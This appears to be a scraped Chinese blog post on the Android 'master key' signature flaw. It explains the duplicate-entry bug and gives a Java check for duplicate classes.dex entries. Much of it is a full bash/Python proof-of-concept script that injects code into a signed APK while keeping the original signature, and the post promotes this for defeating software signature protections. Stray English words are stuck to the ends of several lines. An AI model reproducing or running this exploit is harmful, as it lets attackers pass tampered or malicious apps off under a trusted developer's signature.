【經典漏洞分析】Android簽名漏洞-1

【漏洞分析】php

看雪有個帖子分析得已經很透徹了:http://bbs.pediy.com/showthread.php?t=175129python

這個漏洞本質是:Android安裝文件的時候,在校驗包的時候,沒有考慮到重複打包的狀況(同名文件的存在),所以對於校驗簽名部分就這麼過了,而執行dex時候以第一個爲準,所以能夠利用其原始APK包的簽名而後執行咱們後加的破壞代碼。android

 

【漏洞演示】git

這個漏洞的利用方式,這個帖子的PoC相對靠譜:https://github.com/poliva/random-scripts/blob/master/android/masterkey-apk-inject.shgithub

具體代碼:apache

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602

if [ $# != 2 ]; then echo "Usage: $0 <platform.apk> <inject.apk>" ; exit 1 ; fi

PLATFORM="$1"
INJECT="$2"

if [ ! -f "$PLATFORM" ]; then echo "ERROR: $PLATFORM does not exist" ; exit 1; fi
if [ ! -f "$INJECT" ]; then echo "ERROR: $INJECT does not exist" ; exit 1; fi

mkdir tmp
cd tmp
unzip ../$PLATFORM
cp ../$INJECT ./out.apk

cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile 
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py

for f in `find . -type f |sed -e "s:^\./::g" |egrep -v "(poc.py|out.apk)"` ; do "D:/Program Files/adt-bundle-windows-x86-20130729/sdk/build-tools/android-4.3/aapt.exe" add -v out.apk "$f" ; if [ $? != 0 ]; then ./poc.py out.apk "$f" ; fi ; done

SN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Serial Number" |awk '{print $3}' |cut -f 1 -d "/"`
CN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Issuer:" |sed -e "s/ /\n/g" |grep "^CN=" |cut -f 1 -d "/" |sed -e "s/^CN=//g"`

cp out.apk ../evil-${SN}-${CN}-${PLATFORM}
cd ..
rm -rf tmp
echo "Modified APK: evil-${SN}-${CN}-${PLATFORM}"


紅體下劃線部分是我本身針對我本機上的cygwin改的,用這種方式製做出來的APK包,用WINZIP(不要用360壓縮,不過我用的是Zipeg)打開效果以下:windows

這裏之因此文件是同樣的,是由於我打得這兩個classes是直接複製的。安全

 

【漏洞利用】bash

這個漏洞其實如今雖說被各大手機殺毒軟件廠商所截殺,好比會對安裝的APK進行嚴格校驗查看其是否在ZIP格式中有重名的文件,可是還有有利用價值。dom

首先好比要逆向一款軟件,若是對方有簽名保護,甚至保護仍是作到SO/BIN裏面,而你又沒法使用SmaliHook之類的手法進行常規破解,能夠考慮下這個漏洞的利用:

選一個Android4.0的手機或者3.X的模擬器,保證測試環境能夠利用這種漏洞(無安全軟件,版本支持),而後把你須要的APK進行拆解並添加本身想加的代碼,這樣利用PYTHON打包以後,咱們執行的就是你修改的dex且不涉及到更改簽名以及面對複雜的簽名自校驗保護重打包了。

雖然這個不能用於作壞事,可是對於逆向分析來講,絕對是一個天大的漏洞,我想這種狀況會長期持續一段時間的。

 

【解決方案】

(逆向)參考網秦安全的專殺代碼,修改檢查ZIP裏面雙classes狀況:

    public boolean testDupClass()
    {
      int i = 0;
      try
      {
        Enumeration localEnumeration = new ZipFile(getApplicationContext().getPackageCodePath()).getEntries();
        while (localEnumeration.hasMoreElements())
        {
          String pathPath = ((ZipArchiveEntry)localEnumeration.nextElement()).getName();
          Log.i("[INFO]",pathPath);
          if (pathPath.equals("classes.dex"))
          {
            i++;
            if (i == 2)
            {
              Log.w("[WARNING]","dupdex");
              Toast.makeText(getApplicationContext(), "Dup Classes Warning",Toast.LENGTH_SHORT).show();
              return true;
            }
          }
        }
      }
      catch (IOException localIOException)
      {
        localIOException.printStackTrace();
      }

 

這裏得說一下,Android JAVA提供的ZipEntry是不行的,不能解析出2個ZIP的狀況(或許360壓縮也是這麼作的),須要用org.apache.commons.compress提供的包(源碼可下載)

相關文章
相關標籤/搜索